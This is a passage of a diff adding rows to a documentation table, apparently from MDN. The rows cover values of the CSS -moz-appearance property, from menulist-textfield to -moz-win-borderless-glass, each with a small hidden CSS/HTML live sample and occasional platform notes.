+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuListTextfield",100,50,"","", "nobutton")}}</td>
+   <td>The element is styled as the text field for a menulist. (Not implemented for the Windows platform)</td>
+  </tr>
+  <tr>
+   <td><code>menupopup</code></td>
+   <td>
+    <div id="sampleMenuPopup" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: menupopup; -webkit-appearance: menupopup; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuPopup",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>menuradio</code></td>
+   <td>
+    <div id="sampleMenuRadio" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: menuradio; -webkit-appearance: menuradio; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuRadio",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>menuseparator</code></td>
+   <td>
+    <div id="sampleMenuSeparator" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: menuseparator; -webkit-appearance: menuseparator; color: transparent; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuSeparator",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>meterbar</code></td>
+   <td>
+    <div id="sampleMeterbar" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: meterbar; -webkit-appearance: meterbar; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMeterbar",100,50,"","", "nobutton")}}</td>
+   <td>New in Fx 16.</td>
+  </tr>
+  <tr>
+   <td><code>meterchunk</code></td>
+   <td>
+    <div id="sampleMeterchunk" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: meterchunk; -webkit-appearance: meterchunk; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMeterchunk",100,50,"","", "nobutton")}}</td>
+   <td>New in Fx 16</td>
+  </tr>
+  <tr>
+   <td><code>progressbar</code></td>
+   <td>
+    <div id="sampleProgressBar" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: progressbar; -webkit-appearance: progressbar; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressBar",100,50,"","", "nobutton")}}</td>
+   <td>The element is styled like a progress bar.</td>
+  </tr>
+  <tr>
+   <td><code>progressbar-vertical</code></td>
+   <td>
+    <div id="sampleProgressBarVertical" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: progressbar-vertical; -webkit-appearance: preogressbar-vertical; color: transparent; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressBarVertical",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>progresschunk</code></td>
+   <td>
+    <div id="sampleProgressChunk" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: progresschunk; -webkit-appearance: progresschunk; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressChunk",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>progresschunk-vertical</code></td>
+   <td>
+    <div id="sampleProgressChunkVertical" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: progresschunk-vertical; -webkit-appearance: progresschunk-vertical; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleProgressChunkVertical",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>radio</code></td>
+   <td>
+    <div id="sampleRadio" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: radio; -webkit-appearance: radio; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRadio",100,50,"","", "nobutton")}}</td>
+   <td>The element is drawn like a radio button, including only the actual "radio button" portion.</td>
+  </tr>
+  <tr>
+   <td><code>radio-container</code></td>
+   <td>
+    <div id="sampleRadioContainer" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: radio-container; -webkit-appearance: radio-container; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRadioContainer",100,50,"","", "nobutton")}}</td>
+   <td>The element is drawn like a container for a radio button, which may include a prelighting background effect under certain platforms. Normally it would contain a label and a radio button.</td>
+  </tr>
+  <tr>
+   <td><code>radio-label</code></td>
+   <td>
+    <div id="sampleRadioLabel" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: radio-label; -webkit-appearance: radio-label; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRadioLabel",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>radiomenuitem</code></td>
+   <td>
+    <div id="sampleRadioMenuItem" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: radiomenuitem; -webkit-appearance: radiomenuitem; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRadioMenuItem",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>range</td>
+   <td>
+    <div id="sampleRange" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: range; -webkit-appearance: range; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRange",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>range-thumb</td>
+   <td>
+    <div id="sampleRangeThumb" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: range-thumb; -webkit-appearance: range-thumb; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleRangeThumb",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>resizer</code></td>
+   <td>
+    <div id="sampleResizer" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: resizer; -webkit-appearance: resizer; color: transparent; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleResizer",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>resizerpanel</code></td>
+   <td>
+    <div id="sampleResizerPanel" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: resizerpanel; -webkit-appearance: resizerpanel; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleResizerPanel",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scale-horizontal</code></td>
+   <td>
+    <div id="sampleScaleHorizontal" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scale-horizontal; -webkit-appearance: scale-horizontal; color: transparent; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleHorizontal",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scalethumbend</code></td>
+   <td>
+    <div id="sampleThumbEnd" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scalethumbend; -webkit-appearance: scalethumbend; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleThumbEnd",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scalethumb-horizontal</code></td>
+   <td>
+    <div id="sampleScaleThumbHorizontal" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scalethumb-horizontal; -webkit-appearance: scalethumb-horizontal; color: transparent; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleThumbHorizontal",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scalethumbstart</code></td>
+   <td>
+    <div id="sampleScaleThumbStart" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scalethumbstart; -webkit-appearance: scalethumbstart; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleThumbStart",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scalethumbtick</code></td>
+   <td>
+    <div id="sampleScaleThumbTick" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scalethumbtick; -webkit-appearance: scalethumbtick; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleThumbTick",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scalethumb-vertical</code></td>
+   <td>
+    <div id="sampleScaleThumbVertical" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scalethumb-vertical; -webkit-appearance: scalethumb-vertical; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleThumbVertical",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scale-vertical</code></td>
+   <td>
+    <div id="sampleScaleVertical" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scale-vertical; -webkit-appearance: scale-vertical; color: transparent; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScaleVertical",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scrollbarbutton-down</code></td>
+   <td>
+    <div id="sampleScrollbarButtonDown" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scrollbarbutton-down; -webkit-appearance: scrollbarbutton-down; color: black; }</pre>
+
+    <pre class="bruh: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarButtonDown",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scrollbarbutton-left</code></td>
+   <td>
+    <div id="sampleScrollbarButtonLeft" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scrollbarbutton-left; -webkit-appearance: scrollbarbutton-left; color: black; }</pre>
+
+    <pre class="bruh: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarButtonLeft",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scrollbarbutton-right</code></td>
+   <td>
+    <div id="sampleScrollbarButtonRight" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scrollbarbutton-right; -webkit-appearance: scrollbarbutton-right; color: black; }</pre>
+
+    <pre class="bruh: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarButtonRight",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scrollbarbutton-up</code></td>
+   <td>
+    <div id="sampleScrollbarButtonUp" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scrollbarbutton-up; -webkit-appearance: scrollbarbutton-up; color: black; }</pre>
+
+    <pre class="bruh: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarButtonUp",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scrollbarthumb-horizontal</code></td>
+   <td>
+    <div id="sampleScrollbarThumbHorizontal" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scrollbarthumb-horizontal; -webkit-appearance: scrollbarthumb-horizontal; color: black; }</pre>
+
+    <pre class="bruh: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarThumbHorizontal",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scrollbarthumb-vertical</code></td>
+   <td>
+    <div id="sampleScrollbarThumbVertical" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scrollbarthumb-vertical; -webkit-appearance: scrollbarthumb-vertical; color: black; }</pre>
+
+    <pre class="bruh: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarThumbVertical",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scrollbartrack-horizontal</code></td>
+   <td>
+    <div id="sampleScrollbarTrackHorizontal" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scrollbartrack-horizontal; -webkit-appearance: scrollbartrack-horizontal; color: black; }</pre>
+
+    <pre class="bruh: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarTrackHorizontal",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>scrollbartrack-vertical</code></td>
+   <td>
+    <div id="sampleScrollbarTrackVertical" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: scrollbartrack-vertical; -webkit-appearance: scrollbarbartrack-vertical; color: black; }</pre>
+
+    <pre class="bruh: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleScrollbarTrackVertical",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>searchfield</code></td>
+   <td>
+    <div id="sampleSearchField" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: searchfield; -webkit-appearance: searchfield; color: black; }</pre>
+
+    <pre class="bruh: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSearchField",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>separator</code></td>
+   <td>
+    <div id="sampleSeparator" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: separator; -webkit-appearance: separator; color: transparent; }</pre>
+
+    <pre class="bruh: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSeparator",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>sheet</code></td>
+   <td>
+    <div id="sampleSheet" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: sheet; -webkit-appearance: sheet; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSheet",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>spinner</code></td>
+   <td>
+    <div id="sampleSpinner" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: spinner; -webkit-appearance: spinner; color: transparent; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSpinner",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>spinner-downbutton</code></td>
+   <td>
+    <div id="sampleSpinnerDownbutton" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: spinner-downbutton; -webkit-appearance: spinner-downbutton; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSpinnerDownbutton",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>spinner-textfield</code></td>
+   <td>
+    <div id="sampleSpinnerTextfield" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: spinner-textfield; -webkit-appearance: spinner-textfield; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSpinnerTextfield",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>spinner-upbutton</code></td>
+   <td>
+    <div id="sampleSpinnerUpbutton" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: spinner-upbutton; -webkit-appearance: spinner-upbutton; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSpinnerUpbutton",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>splitter</code></td>
+   <td>
+    <div id="sampleSplitter" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: splitter; -webkit-appearance: splitter; color: transparent; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleSplitter",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>statusbar</code></td>
+   <td>
+    <div id="sampleStatusBar" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: statusbar; -webkit-appearance: statusbar; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleStatusBar",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>statusbarpanel</code></td>
+   <td>
+    <div id="sampleStatusBarPanel" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: statusbarpanel; -webkit-appearance: statusbarpanel; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleStatusBarPanel",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>tab</code></td>
+   <td>
+    <div id="sampleTab" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: tab; -webkit-appearance: tab; height: 20px; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTab",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>tabpanel</code></td>
+   <td>
+    <div id="sampleTabPanel" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: tabpanel; -webkit-appearance: tabpanel; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTabPanel",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>tabpanels</code></td>
+   <td>
+    <div id="sampleTabPanels" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: tabpanels; -webkit-appearance: tabpanels; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTabPanels",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>tab-scroll-arrow-back</code></td>
+   <td>
+    <div id="sampleTabScrollArrowBack" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: tab-scroll-arrow-back; -webkit-appearance: tab-scroll-arrow-back; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTabScrollArrowBack",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>tab-scroll-arrow-forward</code></td>
+   <td>
+    <div id="sampleTabScrollArrowForward" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: tab-scroll-arrow-forward; -webkit-appearance: tab-scroll-arrow-forward; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTabScrollArrowForward",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>textfield</code></td>
+   <td>
+    <div id="sampleTextField" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: textfield; -webkit-appearance: textfield; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTextField",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>textfield-multiline</code></td>
+   <td>
+    <div id="sampleTextfieldMultiline" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: textfield-multiline; -webkit-appearance: textfield-multiline; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTextfieldMultiline",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>toolbar</code></td>
+   <td>
+    <div id="sampleToolbar" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: toolbar; -webkit-appearance: toolbar; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbar",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>toolbarbutton</code></td>
+   <td>
+    <div id="sampleToolbarButton" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: toolbarbutton; -webkit-appearance: toolbarbutton; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbarButton",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>toolbarbutton-dropdown</code></td>
+   <td>
+    <div id="sampleToolbarButtonDropdown" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: toolbarbutton-dropdown; -webkit-appearance: toolbarbutton-dropdown; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbarButtonDropdown",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>toolbargripper</code></td>
+   <td>
+    <div id="sampleToolbarGripper" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: toolbargripper; -webkit-appearance: toolbargripper; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbarGripper",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>toolbox</code></td>
+   <td>
+    <div id="sampleToolbox" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: toolbox; -webkit-appearance: toolbox; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleToolbox",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>tooltip</code></td>
+   <td>
+    <div id="sampleTooltip" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: tooltip; -webkit-appearance: tooltip; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTooltip",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>treeheader</code></td>
+   <td>
+    <div id="sampleTreeHeader" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: treeheader; -webkit-appearance: treeheader; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeHeader",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>treeheadercell</code></td>
+   <td>
+    <div id="sampleTreeHeaderCell" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: treeheadercell; -webkit-appearance: treeheadercell; height:20px; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeHeaderCell",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>treeheadersortarrow</code></td>
+   <td>
+    <div id="sampleTreeHeaderSortArrow" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: treeheadersortarrow; -webkit-appearance: treeheadersortarrow; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeHeaderSortArrow",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>treeitem</code></td>
+   <td>
+    <div id="sampleTreeItem" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: treeitem; -webkit-appearance: treeitem; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeItem",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>treeline</code></td>
+   <td>
+    <div id="sampleTreeLine" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: treeline; -webkit-appearance: treeline; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeLine",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>treetwisty</code></td>
+   <td>
+    <div id="sampleTreeTwisty" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: treetwisty; -webkit-appearance: treetwisty; color: transparent; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeTwisty",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>treetwistyopen</code></td>
+   <td>
+    <div id="sampleTreeTwistyOpen" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: treetwistyopen; -webkit-appearance: treetwistyopen; color: transparent; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeTwistyOpen",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>treeview</code></td>
+   <td>
+    <div id="sampleTreeView" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: treeview; -webkit-appearance: treeview; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleTreeView",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>-moz-mac-unified-toolbar</code></td>
+   <td>
+    <div id="sampleMacUnifiedToolbar" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-mac-unified-toolbar; color: black; }</pre>
+
+    <pre class="brush: html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMacUnifiedToolbar",100,50,"","", "nobutton")}}</td>
+   <td><strong>Mac OS X only</strong>. This causes the toolbar and title bar to render using the unified toolbar style common to Mac OS X 10.4 and later applications.</td>
+  </tr>
+  <tr>
+   <td>{{gecko_minversion_inline("2.0")}} <code>-moz-win-borderless-glass</code></td>
+   <td>
+    <div id="sampleWinBorderlessGlass" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: -moz-win-borderless-glass; color: black; }</pre>
+
